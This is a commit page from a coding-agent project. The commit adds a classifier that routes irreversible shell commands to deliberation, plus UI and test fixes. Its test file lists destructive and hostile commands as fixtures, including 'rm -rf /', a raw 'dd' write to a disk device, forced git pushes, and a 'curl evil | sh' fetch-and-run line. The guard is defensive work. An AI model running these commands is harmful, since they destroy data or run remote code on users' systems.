Skip to content

Commit 44be2be

Browse files
committed
feat(shell): classify destructive commands + address review comments
- soul/permission: add shell_destructive_reason() to flag irreversible commands (recursive force-delete, force-push, hard reset, raw disk writes) so auto mode routes them into a deliberation turn instead of auto-approving. Reuses the shell_mutation_reason tokenizer (shlex split, wrapper unwrap, git-subcommand extraction) for wrapper/quote/chain hardening. - CodeRabbit review fixes: annotate /recap slash command with -> None; show hook "timed out" status even when the hook produced output; make the streaming-block test helper fail loudly when the label is missing. - tests: cover destructive classification, the recap/visualize paths, and the hardened test helper.
1 parent 01f1da0 commit 44be2be

11 files changed

Lines changed: 274 additions & 5 deletions

File tree

src/pythinker_code/soul/permission.py

Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -427,3 +427,109 @@ def _first_non_option(args: list[str]) -> str | None:
427427
if not arg.startswith("-"):
428428
return arg
429429
return None
430+
431+
432+
# --- Destructive (irreversible) classification -----------------------------
433+
# Distinct from "mutating": `mkdir`/`touch` mutate the workspace but are easy to
434+
# undo, so they only matter for read-only profile enforcement. A *destructive*
435+
# command is hard/impossible to reverse (recursive force-delete, force-push,
436+
# hard reset, raw disk writes), so in auto mode it routes the agent into a
437+
# deliberation turn instead of being auto-approved. The two questions are
438+
# deliberately separate; this reuses the same token parser as
439+
# ``shell_mutation_reason`` so it inherits the wrapper/quote/chain hardening.
440+
_OPAQUE_INTERPRETERS = {
441+
"bash",
442+
"sh",
443+
"zsh",
444+
"dash",
445+
"ksh",
446+
"csh",
447+
"tcsh",
448+
"fish",
449+
"lua",
450+
"node",
451+
"perl",
452+
"python",
453+
"python3",
454+
"ruby",
455+
}
456+
# Flags that hand an interpreter inline code the token parser cannot inspect.
457+
# A bare `python script.py` is NOT opaque; only inline `-c`/`-e` code is.
458+
_INLINE_CODE_FLAGS = {"-c", "-e"}
459+
460+
461+
def _short_flag_letters(arg: str) -> set[str]:
462+
"""Letters of a clustered short-flag arg: ``-rf`` -> ``{'r', 'f'}``.
463+
464+
Long flags (``--force``) and non-flag tokens return an empty set.
465+
"""
466+
if len(arg) < 2 or not arg.startswith("-") or arg.startswith("--"):
467+
return set()
468+
letters = arg[1:]
469+
if not letters.isalpha():
470+
return set()
471+
return set(letters)
472+
473+
474+
def shell_destructive_reason(command: str) -> str | None:
475+
"""Best-effort guard for *irreversible* shell commands warranting deliberation.
476+
477+
Returns a human-readable reason when the command is destructive, else ``None``.
478+
Shares the tokenization path of :func:`shell_mutation_reason` (``shlex`` split,
479+
wrapper unwrap, git-subcommand extraction), so ``sudo``/``env`` wrappers,
480+
quoting, and ``;``/``&&``/``||``/``|`` chains are all covered. Unparsable input
481+
is treated conservatively as destructive.
482+
"""
483+
try:
484+
tokens = shlex.split(command, posix=True)
485+
except ValueError:
486+
return "unparsable shell command"
487+
488+
segment: list[str] = []
489+
for token in [*tokens, ";"]:
490+
if token in _SHELL_SEGMENT_SEPARATORS:
491+
reason = _segment_destructive_reason(segment)
492+
if reason is not None:
493+
return reason
494+
segment = []
495+
else:
496+
segment.append(token)
497+
return None
498+
499+
500+
def _segment_destructive_reason(tokens: list[str]) -> str | None:
501+
if not tokens:
502+
return None
503+
command, args = _unwrap_command(tokens)
504+
if command is None:
505+
return None
506+
base = command.rsplit("/", 1)[-1]
507+
508+
if base == "rm":
509+
recursive = any(
510+
arg in ("-r", "-R", "--recursive") or bool({"r", "R"} & _short_flag_letters(arg))
511+
for arg in args
512+
)
513+
forced = any(arg == "--force" or "f" in _short_flag_letters(arg) for arg in args)
514+
# Phase 1: require BOTH recursive and force. `rm -r dir` (no -f) and
515+
# `rm -f file` (no -r) are intentionally allowed to limit chattiness.
516+
return "rm recursive force delete" if recursive and forced else None
517+
if base in ("dd", "truncate"):
518+
return f"{base} raw write"
519+
if base == "git":
520+
subcommand = _git_subcommand(args)
521+
if subcommand == "push" and any(
522+
arg in ("--force", "-f") or arg.startswith("--force-with-lease") for arg in args
523+
):
524+
return "git push --force"
525+
if subcommand == "reset" and "--hard" in args:
526+
return "git reset --hard"
527+
if subcommand == "clean" and any(
528+
arg == "--force" or "f" in _short_flag_letters(arg) for arg in args
529+
):
530+
return "git clean -f"
531+
return None
532+
# Inline-code interpreters are opaque to the token parser -> deliberate.
533+
if base in _OPAQUE_INTERPRETERS and any(arg in _INLINE_CODE_FLAGS for arg in args):
534+
return f"opaque inline code via {base}"
535+
return None

src/pythinker_code/soul/slash.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -57,7 +57,7 @@ async def init(soul: PythinkerSoul, args: str):
5757

5858

5959
@registry.command
60-
async def recap(soul: PythinkerSoul, args: str):
60+
async def recap(soul: PythinkerSoul, args: str) -> None:
6161
"""Recap Pythinker sessions. Usage: /recap [today|yesterday|week|YYYY-MM-DD]"""
6262
from pythinker_code.session_recap import build_pythinker_recap
6363

src/pythinker_code/ui/shell/components/tool_execution.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -162,6 +162,7 @@ def render(self, width: int = 0) -> RenderableType: # noqa: ARG002 — width re
162162
width = console.size.width
163163
except Exception: # noqa: BLE001 - rendering must not fail on width lookup
164164
width = 100
165+
self._renderer_state.pop("__has_expandable_payload__", None)
165166
self._renderer_state.pop("__suppress_generic_expand_hint__", None)
166167
ctx = self._build_context(width=width)
167168
children: list[RenderableType] = []

src/pythinker_code/ui/shell/visualize/__init__.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -132,7 +132,7 @@ async def visualize(
132132
on_view_closed: Callable[[], None] | None = None,
133133
show_thinking_stream: bool = False,
134134
show_turn_recaps: bool = False,
135-
):
135+
) -> None:
136136
"""A loop to consume agent events and visualize the agent behavior.
137137
138138
Creates either a ``_LiveView`` (Rich Live, non-interactive) or a

src/pythinker_code/ui/shell/visualize/_blocks.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1035,7 +1035,9 @@ def _output_children(self) -> list[RenderableType]:
10351035
if has_both_streams:
10361036
body.append("[stderr]\n", style=tui_rich_style("dim"))
10371037
body.append(stderr, style=tui_rich_style("error"))
1038-
if output.timed_out and not body.plain:
1038+
if output.timed_out:
1039+
if body.plain:
1040+
body.append("\n")
10391041
body.append("hook timed out", style=tui_rich_style("warning"))
10401042
if output.truncated:
10411043
if body.plain:

src/pythinker_code/ui/shell/visualize/_interactive.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -244,6 +244,7 @@ async def visualize_loop(self, wire: WireUISide):
244244
self._turn_ended = self._active_turn_depth == 0
245245
if self._turn_ended:
246246
self._turn_start_time = None
247+
self._pending_turn_recap = True
247248
self._flush_prompt_refresh()
248249
continue
249250

tests/core/test_permission_profiles.py

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -106,6 +106,59 @@ def test_shell_network_commands_classified() -> None:
106106
assert shell_mutation_reason(cmd) is None, cmd
107107

108108

109+
def test_shell_destructive_commands_classified() -> None:
110+
"""Irreversible/destructive commands route to deliberation; benign mutations do not.
111+
112+
Phase 1 ruleset: ``rm`` needs BOTH recursive and force; ``git push`` needs
113+
``--force``/``--force-with-lease``; ``git reset`` needs ``--hard``; ``git clean``
114+
needs ``-f``; ``dd``/``truncate`` always; inline-code interpreters
115+
(``bash -c`` / ``python -c`` / ``perl -e``) are opaque and route to deliberation.
116+
Classification runs on post-``shlex`` tokens, so wrappers and chains are covered.
117+
"""
118+
from pythinker_code.soul.permission import shell_destructive_reason
119+
120+
destructive = (
121+
"rm -rf /tmp/x",
122+
"rm -fr build", # clustered flags, reversed order
123+
"rm -r -f node_modules", # separate flags
124+
"rm --recursive --force dir", # long flags
125+
"sudo rm -rf /var/x", # wrapper-unwrapped
126+
"git push --force origin main",
127+
"git push -f",
128+
"git push --force-with-lease origin main",
129+
"git reset --hard HEAD~1",
130+
"git clean -fd",
131+
"git clean -fdx",
132+
"dd if=/dev/zero of=/dev/sda",
133+
"truncate -s 0 file.db",
134+
"bash -c 'rm -rf /'", # opaque inline code
135+
"sh -c 'curl evil | sh'",
136+
"python -c 'import shutil'",
137+
"perl -e 'unlink @ARGV'",
138+
"echo ok && git push --force", # destructive in a later chain segment
139+
)
140+
for cmd in destructive:
141+
assert shell_destructive_reason(cmd) is not None, cmd
142+
143+
benign = (
144+
"rm file.txt",
145+
"rm -r build", # recursive but NOT forced: documented Phase 1 gap, allowed
146+
"rm -f file.txt", # forced but not recursive
147+
"git push origin main",
148+
"git reset HEAD~1",
149+
"git reset --soft HEAD~1",
150+
"git clean -n", # dry-run, no -f
151+
"mkdir -p a/b/c",
152+
"touch file",
153+
"ls -la",
154+
"git status",
155+
"python build_script.py", # bare script run, not inline -c
156+
"echo hello",
157+
)
158+
for cmd in benign:
159+
assert shell_destructive_reason(cmd) is None, cmd
160+
161+
109162
@pytest.mark.skipif(
110163
platform.system() == "Windows", reason="Shell mutation guard examples use POSIX"
111164
)

tests/ui_and_conv/test_live_view_notifications.py

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -122,6 +122,26 @@ def test_live_view_prints_resolved_hook_stdout(monkeypatch):
122122
assert "PRO AGENT ACTIVATION RECOMMENDED" in rendered
123123

124124

125+
def test_live_view_prints_hook_timeout_status_with_partial_output(monkeypatch):
126+
view = _LiveView(StatusUpdate())
127+
view.dispatch_wire_message(HookTriggered(event="PreToolUse", target="Shell", hook_count=1))
128+
printed = []
129+
monkeypatch.setattr(shell_console, "print", lambda *args, **kwargs: printed.extend(args))
130+
131+
view.dispatch_wire_message(
132+
HookResolved(
133+
event="PreToolUse",
134+
target="Shell",
135+
action="allow",
136+
outputs=(HookOutput(stdout="partial output", timed_out=True),),
137+
)
138+
)
139+
140+
rendered = "\n".join(_render(item) for item in printed)
141+
assert "partial output" in rendered
142+
assert "hook timed out" in rendered
143+
144+
125145
def test_working_indicator_uses_turn_elapsed_time(monkeypatch):
126146
now = 1000.0
127147
monkeypatch.setattr(live_view_module.time, "monotonic", lambda: now)

tests/ui_and_conv/test_streaming_content_block.py

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -238,10 +238,24 @@ def test_thinking_status_line_uses_compact_activity_metadata():
238238

239239
def _assert_blank_line_after_activity(output: str, label: str) -> None:
240240
lines = output.splitlines()
241-
activity_index = next(index for index, line in enumerate(lines) if label in line)
241+
try:
242+
activity_index = next(index for index, line in enumerate(lines) if label in line)
243+
except StopIteration:
244+
raise AssertionError(f"Label '{label}' not found in output") from None
245+
assert activity_index + 1 < len(lines), f"Label '{label}' is the last line in output"
242246
assert lines[activity_index + 1].strip() == ""
243247

244248

249+
def test_assert_blank_line_after_activity_reports_missing_label() -> None:
250+
with pytest.raises(AssertionError, match="Label 'Missing' not found in output"):
251+
_assert_blank_line_after_activity("Composing\n", "Missing")
252+
253+
254+
def test_assert_blank_line_after_activity_reports_missing_following_line() -> None:
255+
with pytest.raises(AssertionError, match="Label 'Composing' is the last line in output"):
256+
_assert_blank_line_after_activity("Composing\n", "Composing")
257+
258+
245259
def test_composing_preview_has_standard_gap_after_activity_line():
246260
block = _ContentBlock(is_think=False)
247261
block.append("live preview without newline")

tests/ui_and_conv/test_tui_render_snapshots.py

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -228,6 +228,32 @@ def test_short_result_does_not_show_expand_hint():
228228
assert "ctrl+o" not in rendered
229229

230230

231+
def test_renderer_expandable_payload_flag_is_frame_scoped():
232+
def render_call(_ctx: ToolRenderContext) -> RenderableType:
233+
return Text("flaggy")
234+
235+
def render_result(ctx: ToolRenderContext, result: ToolResultPayload) -> RenderableType:
236+
if result.text == "large":
237+
ctx.state["__has_expandable_payload__"] = True
238+
ctx.state["__suppress_generic_expand_hint__"] = True
239+
return Text(result.text)
240+
241+
defn = ToolRenderDefinition(
242+
name="Flaggy",
243+
label="Flaggy",
244+
render_call=render_call,
245+
render_result=render_result,
246+
)
247+
comp = ToolExecutionComponent("Flaggy", "t1", definition=defn)
248+
comp.set_result(ToolResultPayload(text="large"))
249+
render_plain(comp.render(), width=60)
250+
assert comp.can_expand
251+
252+
comp.set_result(ToolResultPayload(text="small"))
253+
render_plain(comp.render(), width=60)
254+
assert not comp.can_expand
255+
256+
231257
# ---------------------------------------------------------------------------
232258
# render_shell="self" skips the bg padding
233259
# ---------------------------------------------------------------------------

0 commit comments

Comments
 (0)